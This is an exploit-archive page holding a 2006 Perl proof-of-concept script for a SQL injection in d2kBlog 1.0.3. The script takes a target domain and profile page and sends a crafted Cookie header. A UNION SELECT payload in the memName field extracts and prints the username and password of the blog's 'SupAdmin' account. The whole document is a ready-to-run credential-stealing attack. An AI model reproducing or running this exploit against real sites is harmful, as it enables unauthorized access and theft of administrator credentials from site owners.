[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : d2kBlog 1.0.3 (memName) Remote SQL Injection Exploit
# Published : 2006-03-09
# Author : DevilBox
# Previous Title : Guppy <= 4.5.11 (Delete Databases) Remote Denial of Service Exploit
# Next Title : PHP121 Instant Messenger <= 1.4 Remote Code Execution Exploit


#!/usr/bin/perl -w 
 # D2KBLOG SQL injection 
 # Discovered by : Farhad Koosha [ farhadkey [at} kapda.ir ]
 # Exploited by : devil_box [ devil_box [at} kapda.ir ]
 # member of : Kapda.ir - Security Science Researchers Institute of Iran (persianhacker.net)

require LWP::UserAgent;
require HTTP::Request;
print "rnrn=-=-=-==================================================================-=-=-=rnrn";
print "	KAPDA - Security Science Researchers Institute of Iranrnrn";
print "	PoC for D2KBLOG SQL injection bug - Administrator Password Extractorrnrn";
print "	Original Source : http://kapda.ir/advisory-287.html (persianhacker.net)rnrn";
print "rn=-=-=-==================================================================-=-=-=rn";

 if (@ARGV != 2) 
 { 
    print "	Usage: kapda_D2KBLOG_xpl.pl [Target Domain] [Vulnerable Page]nrn"; 
    print "	ex: kapda_D2KBLOG_xpl.pl www.target.com /blog/profile.aspnrn";
    exit (); 
 } 


my $ua = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1,timeout => 30,);

my $Path = $ARGV[0];

my $Page = $ARGV[1];

my $URL = "http://".$Path.$Page;

print "|***| Connecting to ".$URL." ...rn";

$r = HTTP::Request->new(GET => $URL."?action=edit");

$r->header( "Cookie" =>$Path."=memPassword=&memStatus=&memName=<!--'UNION%20ALL%20select%201,1,1,'**stxt**|UserName|:|'%2bmem_name%2b'|-=-|Password|:|'%2bmem_password%2b'|**etxt**',1,1,1,1,1,1,1,1,'Discovered%20and%20coded%20by%20farhadkey%20from%20KAPDA.ir'%20from%20blog_member%20where%20mem_status='SupAdmin'%20or%20'1'='-->" );

$res = $ua->request($r);

print "|***| Connected !rn";

if ($res->is_success) {

	print "|***| Extracting Username and Password ...rnrn";

	my $results = $res->content; 

	while($results=~/"**stxt**(.*?)**etxt**"/ig){ print "-=-> $1 rn"; }

	print "rn	Exploit by Devil_Boxrn		Discovery by Farhad koosharnrn";

 } else {
	die "rn|***| ".$res->status_line;
 }

# www.Syue.com [2006-03-09]